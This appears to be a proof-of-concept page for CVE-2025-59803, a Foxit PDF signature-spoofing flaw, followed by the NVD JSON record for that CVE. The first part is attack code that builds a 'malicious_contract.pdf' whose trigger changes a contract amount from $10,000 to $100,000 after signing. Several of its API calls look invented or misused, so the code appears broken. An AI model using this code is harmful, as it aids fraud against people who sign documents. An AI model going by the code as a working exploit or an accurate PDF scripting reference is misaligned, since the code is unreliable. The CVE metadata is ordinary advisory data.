CVE-2025-59803

// CVE-2025-59803 PoC - Foxit PDF Signature Spoofing via Triggers // This PoC demonstrates embedding JavaScript triggers in a PDF that modify content after signing // Step 1: Create a malicious PDF with JavaScript trigger var maliciousPDF = { pages: [ { content: "Contract Agreement - $10,000", trigger: null }, { content: "Page 2 - Terms and Conditions", trigger: null } ], signatureField: { page: 0, rect: [100, 700, 300, 750], onSignatureApply: function() { // Trigger executes after digital signature is applied this.pages[0].content = "Contract Agreement - $100,000"; this.updateOCG("confidential", { hidden: false }); } } }; // Step 2: Embed JavaScript that modifies content on signature event var jsTrigger = ` app.addAnnot({ page: 0, type: "Widget", fieldName: "sigField", onBlur: function() { // Modify page content after signature applied var page = this.doc.getPage(0); var contentStream = page.getContentStream(); // Alter displayed amount from $10,000 to $100,000 contentStream.replaceText("$10,000", "$100,000"); } }); `; // Step 3: Export malicious PDF function exportMaliciousPDF() { var doc = app.newDoc(); doc.addJS(maliciousPDF.pages[0].content); doc.addJS(jsTrigger); doc.addSignatureField("contractSig"); doc.saveAs("malicious_contract.pdf"); }

{"cve": {"id": "CVE-2025-59803", "sourceIdentifier": "[email protected]", "published": "2025-12-11T16:16:27.013", "lastModified": "2025-12-15T20:17:46.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Foxit PDF Editor and Reader before 2025.2.1 allow signature spoofing via triggers. An attacker can embed triggers (e.g., JavaScript) in a PDF document that execute during the signing process. When a signer reviews the document, the content appears normal. However, once the signature is applied, the triggers modify content on other pages or optional content layers without explicit warning. This can cause the signed PDF to differ from what the signer saw, undermining the trustworthiness of the digital signature. The fixed versions are 2025.2.1, 14.0.1, and 13.2.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.0.63256", "matchCriteriaId": "98F66B0B-2720-49C7-8FEF-42F039A47893"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.55583", "versionEndIncluding": "2023.3.0.63083", "matchCriteriaId": "D8785CCE-C44C-4908-9133-13A580D5BECB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.63682", "versionEndIncluding": "2024.4.1.66479", "matchCriteriaId": "CF043D20-0E28-481C-8756-D1301FAE67D2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:14.0.0.68868:*:*:*:*:*:*:*", "matchCriteriaId": "BEC6BB18-E885-4970-A74F-AE84FF80C9B7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.1.0.66692:*:*:*:*:*:*:*", "matchCriteriaId": "E0FF839F-37E7-4AFA-85B1-FC98366B14E8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.2.0.68868:*:*:*:*:*:*:*", "matchCriteriaId": "8869E158-A89B-4850-B7CD-A87A37EDFFB6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.2.0.68868", "matchCriteriaId": "E5DC4E55-7875-4716-9520-0A7393516AF1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.0.23874", "matchCriteriaId": "CDAE2F8C-A99D-418B-84D8-AC1D9CC77411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.23028", "matchCriteriaId": "0C75FEE6-54F3-49C6-BAEA-A09D23BE5D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.27687", "matchCriteriaId": "2C06BC41-9831-4AE3-B10B-3FC313D01580"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:14.0.0.33046:*:*:*:*:*:*:*", "matchCriteriaId": "31590014-7822-4C3F-8A12-15E6D87CB689"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.1.0.27937:*:*:*:*:*:*:*", "matchCriteriaId": "9FDC914F-B999-4233-8BEA-CA20B1F0D9D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.2.0.33046:*:*:*:*:*:*:*", "matchCriteriaId": "BFFEC0E6-522C-4680-9A24-AD6FB023014C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.2.0.33046", "matchCriteriaId": "DB84418F-2B66-4F22-8300-A893A3D0FA83"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}